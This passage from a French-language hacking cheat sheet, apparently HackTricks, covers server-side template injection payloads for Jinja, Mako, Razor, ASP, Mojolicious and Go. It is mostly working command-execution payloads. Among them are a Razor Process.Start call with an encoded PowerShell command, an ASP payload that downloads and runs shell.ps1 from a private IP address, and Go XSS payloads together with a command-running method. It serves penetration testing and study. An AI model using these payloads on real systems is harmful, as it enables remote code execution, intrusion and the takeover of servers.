{{ namespace.__init__.__globals__.os.popen('id').read() }}

Plus de détails sur comment abuser de Jinja:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Razor (.Net)

  • @(2+2) <= Succès
  • @() <= Succès
  • @("{{code}}") <= Succès
  • @ <= Succès
  • @{} <= ERREUR!
  • @{ <= ERREUR!
  • @(1+2)
  • @( //Code C# )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AG0AZQB0ADYANAAuAGUAeABlAA==");

La méthode .NET System.Diagnostics.Process.Start peut être utilisée pour démarrer n'importe quel processus sur le serveur et ainsi créer un shell web. Vous pouvez trouver un exemple d'application web vulnérable sur https://github.com/cnotin/RazorVulnerableApp

Plus d'informations

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Rien
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Plus d'informations

Mojolicious (Perl)

Même s'il s'agit de perl, il utilise des balises comme ERB en Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Erreur
<%= perl code %>
<% perl code %>

SSTI en GO

La manière de confirmer que le moteur de template utilisé dans le backend est Go est d'utiliser ces charges utiles :

  • {{ . }} = structure de données transmise en entrée au template
  • Si les données transmises sont un objet contenant l'attribut Password par exemple, la charge utile précédente pourrait le divulguer, mais vous pourriez aussi faire : {{ .Password }}
  • {{printf "%s" "ssti" }} = devrait afficher la chaîne ssti dans la réponse
  • {{html "ssti"}}, {{js "ssti"}} = Ce sont quelques autres charges utiles qui devraient afficher la chaîne "ssti" sans les mots de fin "js" ou "html". Vous pouvez vous référer à plus de mots-clés dans le moteur ici.

Exploitation XSS

Si le serveur utilise le package text/template, XSS est très facile à réaliser en fournissant simplement votre charge utile en entrée. Cependant, ce n'est pas le cas avec html/template car il encode en HTML la réponse : {{"<script>alert(1)</script>"}} --> &lt;script&gt;alert(1)&lt;/script&gt;

Cependant, Go permet de DÉFINIR un template complet et ensuite de l'appeler plus tard. La charge utile ressemblera à quelque chose comme :
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}

Exploitation RCE

La documentation pour les modules html/template se trouve ici, et la documentation pour le module text/template se trouve ici, et oui, ils diffèrent beaucoup. Par exemple, dans text/template, vous pouvez appeler directement n'importe quelle fonction publique avec la valeur "call", ce qui n'est cependant pas le cas avec html/template.

Si vous souhaitez trouver une RCE en go via SSTI, sachez que comme vous pouvez accéder à l'objet donné au template avec {{ . }}, vous pouvez également appeler les méthodes des objets. Ainsi, imaginez que l'objet transmis ait une méthode appelée System qui exécute la commande donnée, vous pourriez l'exploiter avec : {{ .System "ls" }}
Par conséquent, vous aurez probablement besoin du code source. Un code source potentiel pour quelque chose comme ça ressemblera à :

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Plus d'informations

Plus d'exploits

Consultez le reste de https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection pour plus d'exploits. Vous pouvez également trouver des informations intéressantes sur les balises dans https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

Aide connexe

Si vous pensez que cela pourrait être utile, lisez :

Outils

{% embed url="https://github.com/Hackmanit/TInjA" %}

{% embed url="https://github.com/vladko312/sstimap" %}

{% embed url="https://github.com/epinna/tplmap" %}

{% embed url="https://github.com/Hackmanit/template-injection-table" %}

Liste de détection par force brute

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Pratique & Références

RootedCON est l'événement le plus pertinent en matière de cybersécurité en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.

{% embed url="https://www.rootedcon.com/" %}

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :